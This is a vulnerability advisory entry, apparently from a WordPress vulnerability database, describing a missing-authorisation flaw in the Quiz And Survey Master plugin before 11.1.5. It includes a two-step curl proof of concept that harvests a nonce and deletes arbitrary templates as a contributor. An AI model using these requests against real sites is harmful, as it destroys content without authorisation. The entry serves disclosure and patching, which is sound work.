Quiz And Survey Master < 11.1.5 – Contributor+ Arbitrary Template Deletion | CVE 2026-14821 | Plugin Vulnerabilities

Description

The plugin does not perform a capability check before deleting output templates, allowing users with contributor-level access and above to delete arbitrary templates.

Proof of Concept

1. Harvest the template-delete nonce from a quiz's Emails tab (a Contributor can reach it):
curl -s -b cookies.txt 'https://victim.example/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=<own_quiz>&tab=emails'
  (read the qsm_remove_template nonce from the response)

2. Delete any template by id (no capability or ownership check):
curl -s -b cookies.txt 'https://victim.example/wp-admin/admin-ajax.php' --data 'action=qsm_remove_my_templates&nonce=<nonce>&id=1'
  -> {"success":true,...}

Affects Plugins

quiz-master-next

Fixed in 11.1.5

References

CVE

Classification

Type

NO AUTHORISATION

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

md. minaruzzaman shovon

Submitter

md. minaruzzaman shovon

Verified

Yes

WPVDB ID

a53df549-5af1-4a0b-9f0f-a8c7893c82b6

Timeline

Publicly Published

2026-07-07 (about 21 days ago)

Added

2026-07-07 (about 20 days ago)

Last Updated

2026-07-07 (about 20 days ago)

Other

Published

Title

Published

2022-03-30

Title

Advanced Custom Fields < 5.12.1 - Contributor+ Database Information Access

Published

2026-04-23

Title

bBlocks – Essential Gutenberg Blocks & Patterns Collection < 2.0.30 - Missing Authorization

Published

2026-07-01

Title

Envo's Templates & Widgets for Elementor and WooCommerce < 1.4.27 - Missing Authorization to Authenticated (Author+) Private Content Disclosure via Envo Tabs Widget 'templates' Setting

Published

2026-02-17

Title

ShopLentor < 3.3.3 - Unauthenticated Email Relay Abuse

Published

2025-09-22

Title

Easy Quotes < 1.2.5 - Missing Authorization